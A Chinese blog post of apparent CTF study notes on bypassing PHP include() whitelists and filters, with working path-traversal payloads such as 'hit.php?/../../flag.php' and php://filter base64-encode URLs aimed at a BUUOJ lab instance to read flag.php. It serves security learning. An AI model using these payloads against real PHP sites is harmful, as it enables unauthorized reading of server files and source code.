文件包含include绕过
对于include相对路径的解析(实测file_get_contents也差不多)
include('../../flag.php')和include('../../../flag.php')都能访问flag.php,因为当../到达到根目录时就会停止,即使有再多的../也不会向上,而是停留在根目录
所以/var/www/html/flag.php和../../../var/www/html/flag.php是同一个文件
include的解析规则(文件包含):
include 函数的核心机制是:无论被包含文件的后缀名是什么(比如 .txt、.jpg、.log 等),PHP 解释器都会尝试读取该文件的内容,并将其中的 PHP 代码提取出来进行解析和执行
include()的重点:
include()来寻找文件,是先找'/'字符前面的,若找不到则将其忽略,所以输入source.php?/../../../flag.php,
include()一开始去找source.php这个文件,但是找不到,所以就忽略了它,进而去包含../../../flag.php这个文件
例如:可以用来绕过白名单
$whitelist=["source"=>"source.php","hit"=>"hit.php"];
$page=$_REQUEST['file'];
$_page=mb_substr($page,0,mb_strpos($page.'?','?'));
if(in_array($_page,$whitelist)){
include $_REQUEST['file'];
return true;
}
//目标:读取相对路径下的flag.php文件
payload:
file=hit.php?/../../../../../../flag.php
解释
$page = "hit.php?/../../../../../../flag.php"; // 我们的输入
第一步:截取 ? 前面的部分
$_page = mb_substr($page, 0, mb_strpos($page.'?', '?'));
逐层拆解:
$page.'?' = "hit.php?/../../../../../../flag.php?"
↑ 第一个 ?
mb_strpos(...) = 7 (第一个 ? 的位置)
mb_substr($page, 0, 7) = "hit.php"
第二步:白名单检查
in_array("hit.php", $whitelist) // → true!通过!
第三步:include 用的是原始输入
include $_REQUEST['file']; // include "hit.php?/../../../../../../flag.php"
注意:白名单检查用的是截取后的 $_page,但 include 用的是原始的 $page。
为什么 include 能读到 flag.php?
关键在于路径解析是字符串运算,不检查中间目录是否存在:
当前目录: /var/www/html/
解析 "hit.php?/../../../../../../flag.php":
hit.php?/ → 进入 hit.php?/ (虚拟目录,不需要真的存在)
.. → 回到 /var/www/html/ (和 hit.php?/ 抵消了)
.. → 回到 /var/www/
.. → 回到 /var/
.. → 回到 /
.. → 回到 / (已经到根了,上不去了)
.. → 回到 /
flag.php → /flag.php
核心原理:../ 是路径解析的字符串操作,hit.php?/ 和紧接的 ../ 抵消了,相当于从当前目录开始往上穿越。
例2:
<?php
$file = $_GET['category'];
if(isset($file)) {
if(strpos($file, "woofers") !== false ||
strpos($file, "meowers") !== false ||
strpos($file, "index")) {
include($file . '.php');
} else {
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
payload:
法一:路径绕过:
http://362f817c-9e86-45f2-bf26-65d66fc4c2e2.node5.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index/../flag
把index换成woofers或者meowers也可以
法二:伪协议过滤器绕过:
http://362f817c-9e86-45f2-bf26-65d66fc4c2e2.node5.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/index/resource=flag
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627510

浙公网安备 33010602011771号